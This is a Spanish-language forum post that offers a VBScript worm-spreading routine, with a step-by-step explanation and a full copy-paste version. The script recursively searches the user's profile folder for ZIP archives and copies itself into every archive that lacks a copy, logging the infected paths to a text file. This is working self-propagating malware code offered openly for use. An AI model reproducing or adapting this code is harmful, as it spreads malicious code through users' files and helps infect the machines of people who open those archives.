Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:
Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:
1) Creación de variables para el uso del script:
Código:
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName
2) Recoger la ruta de los ficheros de la carpeta %userprofile%
Código:
Set Folds = oFSO.GetFolder(P)
Set Files = Folds.Files
3) Recoger la extensión de cada fichero encontrado, busca si es un .zip
Código:
ext = LCase(oFSO.GetExtensionName(File.path))
4) Creación de un objeto que permite trabajar con carpetas ZIP
Código:
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip
Código:
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:
Código:
Set File = Folds.Subfolders
For Each Subfol In File
Call ZipSpread(Subfol.path)
Next
==========================================
El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:
Código:
ZipSpread("C:\carpeta_prueba")
Os dejo el código en formato copypaste:
Código
On Error Resume Next Set oWSH = CreateObject("WScript.Shell") Set oFSO = CreateObject("Scripting.FileSystemObject") SelfPath = WScript.ScriptFullName SelfName = WScript.ScriptName Function ZipSpread(P) On Error Resume Next Set Folds = oFSO.GetFolder(P) Set Files = Folds.Files For Each File In Files ext = LCase(oFSO.GetExtensionName(File.path)) If ext = "zip" Then EXE = SelfPath ZIP = File.path Set FILE = CreateObject("Shell.Application").NameSpace(ZIP) RR = "" For Each CC in FILE.Items RR = RR & CC.Name Next If Not InStr(RR,SelfName) > 0 Then FILE.CopyHere EXE 'Spread to ZIP F.Write ZIP & vbcrlf 'Log zipfile to TXT WScript.Sleep 500 'Important! End If End If Next Set File = Folds.Subfolders For Each Subfol In File Call ZipSpread(Subfol.path) Next End Function Set F = oFSO.CreateTextFile("ZipSpread_report.txt") ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%")) F.Close MsgBox "<end>"
Saludos!!